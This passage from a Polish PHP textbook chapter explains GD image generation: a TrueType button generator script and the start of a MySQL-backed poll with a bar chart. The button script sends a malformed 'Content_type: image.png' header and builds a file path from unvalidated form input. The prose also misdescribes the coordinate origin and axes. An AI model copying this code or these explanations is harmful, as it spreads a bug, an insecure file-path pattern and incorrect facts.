header('Content-type: image/png');

Zazwyczaj przy odczytywaniu pliku w przeglądarce serwer WWW przesyła najpierw typ MIME.
Dla strony HTML lub PHP (po wykonaniu) pierwszą przesłaną informacją będzie:
Content-type: text/html

Opis ten wskazuje przeglądarce sposób interpretacji następujących po nim danych.

W tym przypadku przeglądarka powinna otrzymać informację, że przesłany zostanie obrazek, a nie
zwyczajowy kod HTML. Stosuje się do tego funkcję header(), która przesyła nieprzetworzone
łańcuchy nagłówków HTTP. Ważną własnością funkcji header() jest to, że nie może ona zostać
wykonana, jeżeli dla strony tej został już wysłany inny nagłówek HTTP. PHP automatycznie wy-
syła nagłówek HTTP, gdy skrypt zacznie produkować dane do wyświetlenia w przeglądarce. Jeżeli
więc występuje jakakolwiek instrukcja echo lub nawet puste miejsce przed znacznikiem otwierającym
PHP, nagłówki zostaną wysłane, a przy próbie wywołania funkcji header() ukaże się ostrzeżenie.
Można jednak wysyłać kilka nagłówków HTTP poprzez wielokrotne wywołania funkcji header()
w tym samym skrypcie, chociaż wciąż wszystkie muszą występować przed wyświetleniem ja-
kichkolwiek informacji w przeglądarce.
Rozdział 21.  Generowanie obrazków 447

Po przesłaniu informacji o nagłówku zostają wyświetlone dane obrazka poprzez wywołanie:


imagepng($ob);

Powyższe wywołanie wysyła do przeglądarki obrazek w formacie PNG. Jeżeli miał on być wysłany
w innym formacie, należy wywołać imagejpeg() — gdy włączona jest obsługa plików JPEG.
W tych przypadkach należy również wysłać odpowiedni nagłówek:
header('Content-type: image/jpeg');

Drugą opcją, alternatywną w stosunku do wszystkich poprzednich, jest zapisanie obrazku w pliku
zamiast wyświetlenia go w przeglądarce. Można to zrobić, dodając do funkcji imagepng() (lub po-
dobnej funkcji dla innych obsługiwanych formatów) drugi opcjonalny parametr:
imagepng($ob, $nazwapliku);

Należy pamiętać, że obowiązują tutaj wszystkie zwyczajowe zasady zapisywania pliku w PHP
(na przykład prawidłowe ustawienie uprawnień).

Końcowe czynności porządkujące


Po zakończeniu pracy z obrazkiem należy zwrócić serwerowi używane zasoby poprzez zniszczenie
identyfikatora pliku. Można to wykonać za pomocą wywołania funkcji imagedestroy():
imagedestroy($ob);

Stosowanie automatycznie generowanych


obrazków na innych stronach
Ponieważ nagłówek może zostać wysłany tylko jeden raz — a jest to jedyny sposób przekazania
przeglądarce informacji o przesyłaniu obrazka — umieszczanie na stronie obrazków tworzonych
„w locie” jest nieco skomplikowane. Można to zrobić na trzy sposoby:
 Złożyć całą stronę z wyświetlanego obrazka, tak jak w powyższym przykładzie.
 Zapisać obrazek w pliku, po czym odwoływać się do niego poprzez zwykły znacznik <img>.
 Umieścić skrypt tworzący obrazek wewnątrz znacznika obrazka.

Metody pierwsza i druga zostały już opisane. Opiszmy więc teraz metodę trzecią. Aby zastosować
tę metodę, należy włączyć obrazek w kod HTML poprzez umieszczenie wewnątrz kodu następu-
jącego znacznika obrazka:
<img src="prostywykres.php" height="200" width="200" alt="Sprzedaż spada" />

Zamiast bezpośrednio umieszczać obrazek PNG, JPEG lub GIF, należy w znaczniku SRC ulokować
skrypt PHP tworzący obrazek. Dane te zostaną poprawnie odczytane i dodane do kodu, jak przed-
stawiono na rysunku 21.3.
448 Część IV  Zaawansowane techniki PHP

Rysunek 21.3.
Obrazek tworzony
dynamicznie w oczach
użytkownika nie różni
się niczym od zwykłego

Stosowanie tekstu i czcionek


do tworzenia obrazków
Poniżej przedstawimy bardziej skomplikowany przykład tworzenia obrazków. Przydatne jest auto-
matyczne tworzenie przycisków lub innych rysunków w witrynie WWW. Proste przyciski oparte
na prostokącie koloru tła można generować za pomocą opisanych poprzednio technik. Przy użyciu
technik programistycznych można również osiągnąć efekty znacznie bardziej skomplikowane, lecz
generalnie łatwiej jest do tego celu wykorzystać zwykły program graficzny. Zresztą dzięki temu arty-
ście łatwiej będzie tworzyć, a programiście — programować.

W tym przykładzie jednak przyciski zostaną utworzone za pomocą pustego szablonu przycisku.
Pozwala on na stosowanie efektów, np. spadzistych krawędzi, które łatwiej jest utworzyć za pomocą
Photoshopa, GIMP-a lub innych narzędzi graficznych, a nie w HTML-u i CSS. Stosując bibliote-
kę obrazków PHP, można rozpocząć od rysunku podstawowego i kreślić na jego powierzchni.

W przykładzie tym zostaną również zastosowane czcionki TrueType w celu uzyskania tekstu
z anti-aliasingiem. Funkcje czcionek TrueType cechują się osobliwościami, które opisano poniżej.

Podstawowy proces sprowadza się do pobrania pewnego tekstu i utworzenia przycisku z wyświe-
tlonym danym tekstem. Tekst zostanie wyśrodkowany na przycisku zarówno poziomo, jak i pio-
nowo; zostanie też zastosowany największy pasujący rozmiar czcionki.

W celu wykonania testów i eksperymentów został utworzony fronton generatora przycisków. Jego
interfejs jest przedstawiony na rysunku 21.4 i stanowi jedynie proste rozwiązanie służące do prze-
syłania paru zmiennych do skryptu PHP.

Ten typ interfejsu może zostać zastosowany w celu automatycznego generowania stron WWW.
Poniższy skrypt można również wywołać w sposób ciągły w celu generowania wszystkich przyci-
sków witryny WWW „w locie”, lecz wówczas trzeba by wykorzystać pamięć podręczną, aby skrócić
czas wykonywania.
Rozdział 21.  Generowanie obrazków 449

Rysunek 21.4.
Fronton umożliwia
użytkownikowi
wybranie koloru
przycisku
oraz wprowadzenie
żądanego tekstu

Typowy wynik działania tego skryptu jest przedstawiony na rysunku 21.5.

Rysunek 21.5.
Przycisk generowany
przez skrypt
tworz_przycisk.php

Przycisk jest generowany przez skrypt o nazwie tworz_przycisk.php, przedstawiony na listingu 21.2.

Listing 21.2. tworz_przycisk.php — skrypt ten może zostać wywołany przez formularz projektuj_przycisk.html
lub wewnątrz znacznika obrazka HTML
<?php
// sprawdzenie, czy dostępne są odpowiednie dane zmiennych
// zmienne to tekst_przycisku oraz kolor

$tekst_przycisku = $_POST['tekst_przycisku'];
$kolor = $_POST['kolor'];
450 Część IV  Zaawansowane techniki PHP

if (empty($tekst_przycisku) || empty($kolor))
{
echo '<p>Stworzenie obrazka niemożliwe - formularz wypełniony niepoprawnie.</p>';
exit;
}

// utworzenie obrazka o prawidłowym tle oraz sprawdzenie wielkości


$ob = imagecreatefrompng($kolor.'-przycisk.png');

$szerokosc_obrazka = imagesx($ob);
$wysokosc_obrazka = imagesy($ob);

// przyciski muszą mieć 18-pikselowy margines od krawędzi


$szerokosc_obrazka_bez_marginesow = $szerokosc_obrazka - (2 * 18);
$wysokosc_obrazka_bez_marginesow = $wysokosc_obrazka - (2 * 18);

// Przekazanie GD2 informacji o miejscu, gdzie należy szukać czcionki

// W przypadku systemu Windows będzie to:


putenv('GDFONTPATH=C:\WINDOWS\Fonts');

// Natomiast w przypadku systemu Unix należy podać pełną ścieżkę do katalogu czcionki.
//putenv('GDFONTPATH=/usr/share/fonts/truetype/dejavu');

// W tym przykładzie używana będzie czcionka Arial


$nazwa_czcionki = 'arial';
// W zależności od wersji biblioteki GD2 może być konieczne podanie ścieżki
// dostępu do pliku czcionki bezpośrednio w argumencie wywołania funkcji
// imagettfbox(). W takim przypadku należy ją określić w następujący sposób:
// $nazwa_czcionki = 'C:\WINDOWS\Fonts\arial.ttf';

// Obliczenie pasującego rozmiaru czcionki i odpowiednie jego zmniejszenie


// Rozpoczęcie od największego rozmiaru, który intuicyjnie pasowałby do przycisków
$rozmiar_czcionki = 33;

do
{
$rozmiar_czcionki--;

//obliczenie rozmiaru tekstu przy tym rozmiarze czcionki


$bbox=imagettfbbox($rozmiar_czcionki, 0, $nazwa_czcionki, $tekst_przycisku);

$tekst_prawy = $bbox[2]; //prawa współrzędna


$tekst_lewy = $bbox[0]; //lewa współrzędna
$szerokosc_tekstu = $tekst_prawy - $tekst_lewy; // jaki szeroki?
$wysokosc_tekstu = abs($bbox[7] - $bbox[1]); // jaki wysoki?

} while ($rozmiar_czcionki > 8 &&


($wysokosc_tekstu > $wysokosc_obrazka_bez_marginesow ||
$szerokosc_tekstu > $szerokosc_obrazka_bez_marginesow)
);

if ($wysokosc_tekstu>$wysokosc_obrazka_bez_marginesow ||
$szerokosc_tekstu>$szerokosc_obrazka_bez_marginesow)
{
// żaden możliwy do odczytania rozmiar czcionki nie pasuje
echo '<p>Wprowadzony tekst nie pasuje do przycisku.</p>';
}
else
{
// odnaleziono pasujący rozmiar czcionki
// teraz należy obliczyć jego współrzędne
Rozdział 21.  Generowanie obrazków 451

$tekst_x = $szerokosc_obrazka / 2.0 - $szerokosc_tekstu / 2.0;


$tekst_y = $wysokosc_obrazka / 2.0 - $wysokosc_tekstu / 2.0;

if ($tekst_lewy < 0)
{
$tekst_x += abs($tekst_lewy); //Dodanie współczynnika do lewej pozycji
}

$nad_linia_tekstu = abs($bbox[7]); // jak wysoko nad podstawą?


$tekst_y += $nad_linia_tekstu; //dodanie współczynnika podstawy

$tekst_y -= 2; // współczynnik dostosowania do kształtu szablonu

$bialy = imagecolorallocate($ob, 255, 255, 255);

imagettftext($ob, $rozmiar_czcionki, 0, $tekst_x, $tekst_y, $bialy,


$nazwa_czcionki, $tekst_przycisku);

header('Content_type: image.png');
imagepng($ob);
}

// zwolnienie zasobów
imagedestroy($ob);
?>

Jest to jeden z najdłuższych skryptów opisanych do tej pory w tej książce. Poniżej znajduje się opis
jego poszczególnych części. Na początku przeprowadzono podstawowe sprawdzenie błędów, po
czym został ustawiony kadr.

Konfiguracja podstawowego kadru


Jak pokazano na listingu 21.2, zamiast rozpoczynać od zera, wykorzystano obrazek przycisku.
Istnieją jego trzy wersje: czerwona (czerwony-przycisk.png), zielona (zielony-przycisk.png) i niebie-
ska (niebieski-przycisk.png).

Kolor wybrany przez użytkownika jest przechowywany w zmiennej formularza $kolor.

Na początku z superglobalnej tablicy $_POST odczytywany jest kolor oraz ustawiony zostaje nowy
identyfikator obrazka, oparty na odpowiednim przycisku:
$kolor = $_POST['kolor'];

Jednak jeszcze przed utworzeniem identyfikatora obrazka skrypt sprawdza, czy zostały określone
wartości zmiennych $tekst_przycisku oraz $kolor, a jeśli którakolwiek z nich jest pusta, to skrypt
kończy działanie, wyświetlając odpowiedni komunikat. W przeciwnym razie skrypt przechodzi do
wykonania kolejnej czynności, którą jest utworzenie identyfikatora nowego obrazka:
$ob = imagecreatefrompng($kolor.'-przycisk.png');

Funkcja imagecreatefrompng() pobiera jako parametr nazwę pliku PNG, a zwraca nowy identyfi-
kator pliku zawierającego kopię tego pliku PNG. Należy zauważyć, że funkcja ta nie modyfikuje
w żaden sposób bazowego pliku PNG. W ten sam sposób stosuje się funkcje imagecreatefromjpeg()
i imagecreatefromgif(), jeżeli zainstalowana jest odpowiednia obsługa.

Wywołanie funkcji imagecreatefrompng() tworzy jedynie obrazek w pamięci. Aby zapisać go


w pliku lub wyświetlić w przeglądarce, należy wywołać funkcję imagepng(). Zostanie ona opisana
w dalszej części tego rozdziału, po opisie innych prac związanych z generowanym obrazkiem.
452 Część IV  Zaawansowane techniki PHP

Dopasowanie tekstu do przycisku


Tekst podany przez użytkownika w formularzu jest pobierany z superglobalnej tablicy $_POST i zapi-
sywany w zmiennej $tekst_przycisku. Docelowym wynikiem jest wyświetlenie tego przycisku
z zastosowaniem największego pasującego rozmiaru czcionki. Dokonuje się to poprzez iterację,
a ściślej — poprzez iteracyjną metodę prób i błędów.

Na początku ustawione zostają pewne powiązane zmienne. Pierwsze dwie to wysokość i szerokość
obrazka przycisku:
$szerokosc_obrazka = imagesx($ob);
$wysokosc_obrazka = imagesy($ob);

Następne dwa przedstawiają marginesy od krawędzi przycisku. Obrazki przycisków mają ścięte
końcówki, tak więc należy zostawić miejsce dookoła końców tekstu. Przy stosowaniu różnych
obrazków liczba ta będzie inna! W podanym przykładzie margines po każdej stronie wynosi około
18 pikseli.
$szerokosc_obrazka_bez_marginesow = $szerokosc_obrazka – (2 * 18);
$wysokosc_obrazka_bez_marginesow = $wysokosc_obrazka – (2 * 18);

Należy również ustawić początkowy rozmiar czcionki. W tym przypadku jest to 32 (właściwie 33,
ale liczba ta zostanie zaraz zmniejszona), mniej więcej największy rozmiar pasujący do przycisku:
$rozmiar_czcionki = 33;

W przypadku stosowania GD2 należy wskazać, gdzie znajdują się czcionki — służy do tego
zmienna środowiskowa GDFONTPATH:
// W przypadku systemu Windows będzie to:
putenv('GDFONTPATH=C:\WINDOWS\Fonts');

// Natomiast w przypadku systemu Unix należy podać pełną ścieżkę do katalogu czcionki.
//putenv('GDFONTPATH=/usr/share/fonts/truetype/dejavu');

Konieczne jest również określenie, która czcionka ma zostać użyta. Zmierzamy użyć tę czcionkę
z funkcjami TrueType, które odszukają plik czcionki w podanej lokalizacji i dodadzą do jej nazwy
rozszerzenie .ttf (ang. True Type Font).
$nazwa_czcionki = 'arial';

Należy zwrócić uwagę, że zależnie od wykorzystywanego systemu operacyjnego można również


dodać .ttf na końcu nazwy czcionki.

Jeśli w systemie nie ma czcionki Arial (którą wykorzystujemy w tym przykładzie), można zasto-
sować inną czcionkę typu TrueType.

Następnie zostaje wykonana pętla do…while, zmniejszająca rozmiar czcionki przy każdej iteracji,
dopóki wprowadzony tekst nie będzie odpowiednio pasował do przycisku:
do
{
$rozmiar_czcionki--;

//obliczenie rozmiaru tekstu przy tym rozmiarze czcionki


$bbox=imagettfbbox($rozmiar_czcionki, 0, $nazwa_czcionki, $tekst_przycisku);

$tekst_prawy = $bbox[2]; //prawa współrzędna


$tekst_lewy = $bbox[0]; //lewa współrzędna
$szerokosc_tekstu = $tekst_prawy - $tekst_lewy; // jaki szeroki?
$wysokosc_tekstu = abs($bbox[7] - $bbox[1]); // jaki wysoki?
Rozdział 21.  Generowanie obrazków 453

} while ($rozmiar_czcionki > 8 &&


($wysokosc_tekstu > $wysokosc_obrazka_bez_marginesow ||
$szerokosc_tekstu > $szerokosc_obrazka_bez_marginesow)
);

Kod ten sprawdza rozmiar tekstu przez odwołanie się do własności nazywanej ramką ograniczającą
(ang. bounding box) tekstu. Jest to wykonane za pomocą funkcji imagettfbbox(), która należy do
funkcji czcionek TrueType. Po obliczeniu wielkości zostanie wykonany napis na przycisku za
pomocą czcionki TrueType i funkcji Imagettftext().
Ramka ograniczająca fragmentu tekstu to najmniejszy prostokąt, jaki można narysować wokół tekstu.
Przykład ramki ograniczającej jest przedstawiony na rysunku 21.6.

Rysunek 21.6.
Współrzędne ramki ograniczającej podane
są względem bazowej linii pisma. Początek
układu współrzędnych jest przedstawiony
na rysunku jako (0,0)

Aby poznać rozmiary klatki, należy wywołać:


$bbox = imagettfbbox($rozmiar_czcionki, 0, $nazwa_czcionki, $tekst_przycisku);

Wywołanie to oznacza: „Dla danego rozmiaru czcionki $rozmiar_czcionki tekstu nachylonego


o 0 stopni, przy zastosowaniu czcionki TrueType Arial należy podać wymiary tekstu zawartego
w $tekst_przycisku”.
Funkcja ta zwraca tablicę zawierającą współrzędne rogów ramki ograniczającej. Zawartość tej
tablicy jest przedstawiona w tabeli 21.1.

Tabela 21.1. Zawartość tablicy ramki ograniczającej

Indeks tabeli Zawartość


0 Współrzędna X, lewy dolny róg
1 Współrzędna Y, lewy dolny róg
2 Współrzędna X, prawy dolny róg
3 Współrzędna Y, prawy dolny róg
4 Współrzędna X, prawy górny róg
5 Współrzędna Y, prawy górny róg
6 Współrzędna X, lewy górny róg
7 Współrzędna Y, lewy górny róg

Aby w łatwy sposób przyswoić sobie zawartość poszczególnych elementów tabeli, należy po prostu
zapamiętać, że numerowanie zaczyna się od lewego dolnego rogu ramki ograniczającej i posuwa
się przeciwnie do ruchu wskazówek zegara.
Istnieje jedna osobliwa własność wartości zwracanych przez funkcję imagettfbbox() — koordy-
naty podane względem początku układu współrzędnych. Przeciwnie do obrazków, w których
współrzędne liczone są od prawego górnego rogu, w tym przypadku są one obliczane względem
bazowej linii pisma.

Spójrzmy ponownie na rysunek 21.6. Można zauważyć, że wzdłuż dolnej części tekstu została nary-
sowana linia. Jest ona znana jako bazowa linia pisma. Niektóre litery, na przykład „p”, wykraczają
poza nią. Noszą one nazwę liter zstępujących.
454 Część IV  Zaawansowane techniki PHP

Lewy koniec linii bazowej jest podstawą pomiarów — ma współrzędne X i Y równe 0. Współ-
rzędne powyżej linii bazowej posiadają dodatnią współrzędną X, a współrzędne poniżej bazy —
ujemną współrzędną X.

Dodatkowo tekst może posiadać wartości współrzędnych znajdujące się poza klatką wiążącą.
Na przykład tekst może mieć początek w punkcie o współrzędnej X równej –1.

Podsumowując powyższe rozważania można stwierdzić, że należy być uważnym przy wykony-
waniu obliczeń za pomocą tych liczb.

Szerokość i wysokość tekstu jest w powyższym przykładzie obliczana w następujący sposób:


$tekst_prawy = $bbox[2]; //prawa współrzędna
$tekst_lewy = $bbox[0]; //lewa współrzędna
$szerokosc_tekstu = $tekst_prawy - $tekst_lewy; // jaki szeroki?
$wysokosc_tekstu = abs($bbox[7] - $bbox[1]); // jaki wysoki?

Po wykonaniu powyższych czynności sprawdzany jest warunek pętli:


} while($rozmiar_czcionki > 8 &&
($wysokosc_tekstu > $wysokosc_obrazka_bez_marginesow ||
$szerokosc_tekstu > $szerokosc_obrazka_bez_marginesow)
);

W tym miejscu sprawdzane są dwa warunki. Najpierw należy stwierdzić, czy tekst o danej wielkości
da się odczytać — nie ma sensu tworzenie tekstu o rozmiarze mniejszym niż 8, ponieważ odczytanie
przycisku sprawia trudność. Drugi zbiór warunków sprawdza, czy tekst będzie się mieścił w prze-
znaczonej dla niego przestrzeni rysowania.

Następnie sprawdzany jest fakt, czy obliczenia iteracyjne znalazły odpowiednią wielkość tekstu,
czy nie, i ewentualnie zostanie wyświetlony komunikat o błędzie:
if($wysokosc_tekstu>$wysokosc_obrazka_bez_marginesow ||
$szerokosc_tekstu>$szerokosc_obrazka_bez_marginesow)
{
// żaden możliwy do odczytania rozmiar czcionki nie pasuje
echo '<p>Wprowadzony tekst nie pasuje do przycisku.</p>';
}

Nadawanie tekstowi odpowiedniej pozycji


Jeżeli wszystkie testy powiodły się, należy obliczyć bazową pozycję dla początku tekstu. Jest to
środkowy punkt dostępnego miejsca.
$tekst_x=$szerokosc_obrazka/2.0 - $szerokosc_tekstu/2.0;
$tekst_y=$wysokosc_obrazka/2.0 - $wysokosc_tekstu/2.0;

Z powodu skomplikowanego charakteru systemu współrzędnych należy dodać pewne współczynniki


korygujące:
if ($tekst_lewy < 0) {
$tekst_x += abs($tekst_lewy); //Dodanie współczynnika do lewej pozycji
}
$nad_linia_tekstu=abs($bbox[7]); // jak wysoko nad podstawą?
$tekst_y+=$nad_linia_tekstu; //dodanie współczynnika podstawy

$tekst_y-=2; // współczynnik dostosowania do kształtu szablonu

Powyższe współczynniki korekcji pozwalają na niewielką zmianę współrzędnych, ponieważ obrazek


„ciąży” nieco ku górze.
Rozdział 21.  Generowanie obrazków 455

Wpisywanie tekstu do przycisku


Po powyższych czynnościach następują proste działania. Ustawiony zostaje kolor tekstu, w tym
wypadku biały:
$bialy = imagecolorallocate($ob, 255, 255, 255);

Następnie można zastosować funkcję imagettftext() w celu wpisania tekstu do przycisku:


imagettftext($ob, $rozmiar_czcionki, 0, $tekst_x, $tekst_y, $bialy,
$nazwa_czcionki, $tekst_przycisku);

Funkcja ta pobiera dużą liczbę parametrów, kolejno: identyfikator obrazka, wielkość czcionki
w punktach, kąt, pod którym tekst ma zostać umieszczony, współrzędne X i Y początku tekstu, kolor
tekstu, nazwę czcionki i właściwy tekst.
Plik czcionki musi być udostępniony serwerowi, nie jest zaś potrzebny w komputerze
użytkownika, ponieważ do klienta zostanie przekazany jako obrazek.

Etap końcowy
W tym momencie można już wyświetlić przycisk w przeglądarce:
header('Content_type: image.png');
imagepng($ob);

Następnie należy opróżnić zasoby i zakończyć działanie skryptu:


imagedestroy($ob);

I to już wszystko! Jeżeli nie wystąpił żaden błąd, w oknie przeglądarki powinien ukazać się przycisk
podobny do przedstawionego na rysunku 21.5.

Rysowanie figur i wykresów danych


W poprzedniej aplikacji zostały wykorzystane istniejące obrazki i tekst. Nie podano jeszcze przykładu
rysowania; jest on zamieszczony poniżej.

W przykładzie tym na witrynie WWW zostanie przeprowadzona ankieta na temat preferencji wybor-
czych użytkowników w fikcyjnych wyborach. Wyniki ankiety zostaną przechowane w bazie danych
MySQL, po czym za pomocą funkcji obrazka narysowany zostanie wykres słupkowy.

Tworzenie wykresów to drugie z podstawowych zastosowań tych funkcji. Wykresy mogą zostać
utworzone na podstawie dowolnych danych — sprzedaży, wyników przeszukiwania sieci WWW itd.

Na potrzeby tego przykładu została utworzona baza danych MySQL o nazwie ankieta. Zawiera ona
jedną tabelę o nazwie wyniki_ankiety, która przechowuje nazwiska kandydatów w kolumnie kandydat,
a liczbę otrzymanych przez nich głosów w kolumnie liczba_glosow. Stworzono również użyt-
kownika tej bazy danych o nazwie ankieta i haśle ankieta. Wygenerowanie tej bazy zajmuje około
pięciu minut i można to uczynić poprzez uruchomienie skryptu przedstawionego na listingu 21.3.
W tym celu należy przekazać skrypt poprzez konto root w następujący sposób:
mysql –u root –pTWOJE_HASŁO < stworzankiete.sql
456 Część IV  Zaawansowane techniki PHP

Listing 21.3. stworzankiete.sql — tworzenie bazy danych ankieta


CREATE DATABASE ankieta;

USE ankieta;

CREATE TABLE wyniki_ankiety (


id INT NOT NULL PRIMARY KEY AUTO_INCREMENT,
kandydat VARCHAR(30),
ilosc_glosow INT
);

INSERT INTO wyniki_ankiety VALUES


('Jan Kowalski', 0),
('Maria Nowak', 0),
('Piotr Ziółkowski', 0)
;

GRANT ALL PRIVILEGES


ON ankieta.*
TO ankieta@localhost
IDENTIFIED BY 'ankieta';

Oczywiście, można również wykorzystać login dowolnego użytkownika posiadającego odpowiednie


uprawnienia w MySQL, podobnie jak można pomiąć tworzenie odrębnej bazy danych, a jedynie
dodać tabelę do którejś z już istniejących; jednak przygotowany skrypt zadba o wszystko.

Powyższa baza danych zawiera trzech kandydatów. Interfejs dla niej jest dostarczony poprzez stronę
o nazwie glosuj.html. Kod strony jest przedstawiony na listingu 21.4.

Listing 21.4. glosuj.html — w tym miejscu użytkownicy mogą dodawać swoje głosy
<!DOCTYPE html>
<html>
<head>
<title>Ankieta</title>
</head>
<body>
<h1>Dodaj swój głos</h1>
<p>Na kogo będziesz głosować w wyborach?</p>

<form method="post" action="pokaz_wyniki.php">

<p>Wybierz polityka, którego popierasz:<br />


<input type="radio" name="glos" id="glosuj_jan_kowalski" value="Jan Kowalski" />
<label for="glosuj_jan_kowalski">Jan Kowalski</label><br />
<input type="radio" name="glos" id="glosuj_maria_nowak" value="Maria Nowak" />
<label for="glosuj_maria_nowak">Maria Nowak</label><br />
<input type="radio" name="glos" id="glosuj_piotr_ziolkowski" value="Piotr Ziolkowski">
<label for="glosuj_piotr_ziolkowski">Piotr Ziółkowski</label><br />
</p>

<button type="submit" name="pokaz_wyniki">Pokaż wyniki</button>


</form>

</body>
</html>

Wynik uruchomienia powyższego kodu jest przedstawiony na rysunku 21.7.


Rozdział 21.  Generowanie obrazków 457

Rysunek 21.7.
W tym miejscu
użytkownicy mogą
dodawać swoje głosy,
a po kliknięciu
przycisku ukażą się
aktualne wyniki ankiety

Ogólna idea jest taka, że po naciśnięciu przycisku głos użytkownika zostanie dodany do bazy danych.
Następnie wszystkie wyniki zostaną pobrane i wyświetli się wykres słupkowy aktualnych wyników.

Typowy wynik po dodaniu pewnej liczby głosów został przedstawiony na rysunku 21.8.

Rysunek 21.8.
Wyniki głosowania,
utworzone poprzez
narysowanie w kadrze
serii linii, prostokątów
i elementów tekstowych

Skrypt generujący ten obrazek jest dość długi. Został on podzielony na cztery części, a każdą z nich
omówimy osobno. Większość skryptu wydaje się znajoma — w poprzednich rozdziałach przed-
stawiliśmy wiele podobnych przykładów MySQL. Omówiliśmy również tworzenie jednokoloro-
wego kadru i umieszczanie w nim etykiet tekstowych.

Nowe części skryptu odnoszą się do rysowania linii i prostokątów. Na nich skupimy teraz uwagę.
Część pierwsza (czteroczęściowego skryptu) jest przedstawiona na listingu 21.5.1.

Listing 21.5.1. pokaz_wyniki.php — część pierwsza aktualizuje bazę danych i pobiera nowe wyniki ankiety
<?php

// sprawdzenie, czy dysponujemy odpowiednimi danymi


$glos = $_POST['glos'];
458 Część IV  Zaawansowane techniki PHP

if (empty($glos))
{
echo '<p>Nie zagłosowałeś na nikogo.</p>';
exit;
}

/***************************************************
Zapytanie bazy danych odczytujące wynik ankiety
***************************************************/

// zalogowanie się w bazie danych


if (!$bd_polacz=new mysqli('localhost', 'ankieta', 'ankieta', 'ankieta'))
{
echo '<p>Połączenie z bazą danych nieudane<br />
Proszę spróbować później.</p>';
exit;
}

mysqli_set_charset($bd_polacz,"utf8"); // połączenie z bazą używa UTF-8

// Rejestracja przesłanego głosu w bazie danych


$g_zapytanie = "UPDATE wyniki_ankiety
SET ilosc_glosow = ilosc_glosow + 1
WHERE kandydat = ?";
$g_polecenie = $bd_polacz->prepare($g_zapytanie);
$g_polecenie->bind_param('s', $glos);
$g_polecenie->execute();
$g_polecenie->free_result();

// pobranie aktualnych wyników ankiety


$w_zapytanie = "SELECT kandydat, ilosc_glosow FROM wyniki_ankiety";
$w_polecenie = $bd_polacz->prepare($w_zapytanie);
$w_polecenie->execute();
$w_polecenie->store_result();
$w_polecenie->bind_result($kandydat, $ilosc_glosow);
$ilosc_kandydatow = $w_polecenie->num_rows;

// obliczenie całkowitej liczby głosów


$suma_glosow=0;

while ($w_polecenie->fetch())
{
$suma_glosow += $ilosc_glosow;
}

$w_polecenie->data_seek(0);

Część pierwsza, przedstawiona na listingu 21.5.1, łączy się z bazą danych MySQL, uaktualnia głosy
zależnie od wpisu użytkownika, pobiera zapisane głosy, jak również liczy sumaryczną liczbę odda-
nych głosów. Po otrzymaniu tej informacji można rozpocząć wykonywanie obliczeń w celu stwo-
rzenia wykresu. Część druga jest przedstawiona na listingu 21.5.2.

Listing 21.5.2. pokaz_wyniki.php — część druga ustawia zmienne rysowania


/*********************************************
Początkowe obliczenia wykresu
*********************************************/
// ustawienie stałych
putenv('GDFONTPATH=C:\WINDOWS\Fonts');

$szerokosc = 500; //szerokosc obrazka w pikselach


Rozdział 21.  Generowanie obrazków 459

$lewy_margines = 70; // miejsce pozostawiane po lewej stronie obrazka


$prawy_margines = 50; // to samo dla strony prawej
$wysokosc_slupka = 40;
$odleglosc_slupkow = $wysokosc_slupka/2;
$czcionka = 'arial';
$rozmiar_tytulu = 16; // w punktach
$rozmiar_podstawowy = 12; // w punktach
$rozmiar_maly = 12; // w punktach
$wciecie_tekstu = 10; //odległość lewych etykiet tekstowych od lewej krawędzi obrazka

// ustawienie początkowego punktu rysowania


$x = $lewy_margines + 60; //miejsce narysowania bazy wykresu
$y = 50; //to samo
$jednostka_slupka = ($szerokosc-($x+$prawy_margines)) / 100; //jeden "stopień" wykresu

// obliczenie wysokości wykresu - słupki plus przerwy plus pewien margines


$wysokosc = $ilosc_kandydatow * ($wysokosc_slupka + $odleglosc_slupkow) + 50;

Druga część skryptu ustawia pewne zmienne, które zostaną zastosowane do narysowania wykresu.
Obliczanie wartości tego typu zmiennych może być nudne, lecz pewien stopień przewidywania
ostatecznego kształtu obrazka uczyni proces rysowania o wiele łatwiejszym. Wartości zastosowane
powyżej były obliczone na podstawie naszkicowania pożądanego wyniku na kartce papieru i wy-
liczania odpowiednich proporcji.
Zmienna $szerokosc to całkowita zastosowana szerokość kadru. Ustawione zostają również prawe
i lewe marginesy (zmienne odpowiednio $lewy_margines i $prawy_margines), grubość i odstępy
między słupkami ($wysokosc_slupka i $odleglosc_slupkow) oraz czcionka, rozmiary czcionki
i pozycja etykiet ($nazwa_czcionki, $rozmiar_tytulu, $rozmiar_podstawowy, $rozmiar_maly
i $wciecie_tekstu).
Po zdefiniowaniu tych podstawowych wartości można dokonać kilku obliczeń. Należy narysować
bazę, z której będą brały początek wszystkie słupki. Położenie tej bazy można obliczyć za pomocą
lewego marginesu i wielkości etykiet dla współrzędnej X i przewidywanej wartości ze szkicu dla
współrzędnej Y. Jeśli zależałoby nam na elastyczności, można zamiennie sprawdzić szerokość naj-
dłuższego nazwiska.
Obliczane są również dwie ważne wartości: pierwszą z nich jest odległość na wykresie przedstawia-
jąca jedną jednostkę:
$jednostka_slupka = ($szerokosc-($x+$prawy_margines))/100; //jeden "stopień" wykresu

Jest to maksymalna długość słupków — od bazy do prawego marginesu — podzielona przez 100,
ponieważ wykres będzie pokazywał wartości procentowe.
Drugą wartością jest całkowita potrzebna wysokość kadru:
$wysokosc = $ilosc_kandydatow*($wysokosc_slupka+$odleglosc_slupkow)+50;

Jest to wysokość słupka pomnożona przez liczbę słupków plus dodatkowa przestrzeń dla tytułu.
Część trzecia jest przedstawiona na listingu 21.5.3.

Listing 21.5.3. pokaz_wyniki.php — część trzecia konfiguruje gotowy na przyjęcie danych wykres
/*********************************************
Konfiguracja podstawowego obrazka
*********************************************/
// stworzenie pustego kadru
$ob = imagecreatetruecolor($szerokosc, $wysokosc);
460 Część IV  Zaawansowane techniki PHP

// Przydzielenie kolorów
$bialy = imagecolorallocate($ob,255,255,255);
$niebieski = imagecolorallocate($ob,0,64,128);
$czarny = imagecolorallocate($ob,0,0,0);
$rozowy = imagecolorallocate($ob,255,78,243);

$kolor_tekstu = $czarny;
$kolor_procentow = $czarny;
$kolor_tla = $bialy;
$kolor_linii = $czarny;
$kolor_slupka = $niebieski;
$kolor_liczb = $rozowy;

// stworzenie "kadru" do rysowania


imagefilledrectangle($ob, 0, 0, $szerokosc, $wysokosc, $kolor_tla);

// narysowanie konturów wokół kadru


imagerectangle($ob, 0, 0, $szerokosc-1, $wysokosc-1, $kolor_linii);

// dodanie tytułu
$tytul = 'Wyniki ankiety';
$wymiary_tytulu = imagettfbbox($rozmiar_tytulu, 0, $czcionka, $tytul);
$dlugosc_tytulu = $wymiary_tytulu[2] - $wymiary_tytulu[0];
